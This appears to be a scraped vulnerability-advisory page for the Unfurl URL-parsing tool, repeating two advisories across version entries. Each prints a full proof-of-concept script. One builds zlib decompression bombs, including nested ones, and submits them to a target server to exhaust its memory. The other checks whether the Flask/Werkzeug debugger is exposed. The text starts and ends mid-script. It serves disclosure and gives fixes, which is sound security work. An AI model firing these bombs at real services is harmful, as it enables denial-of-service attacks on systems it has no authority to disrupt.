    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jul 30, 2020

20200703 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jul 03, 2020

20200702 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
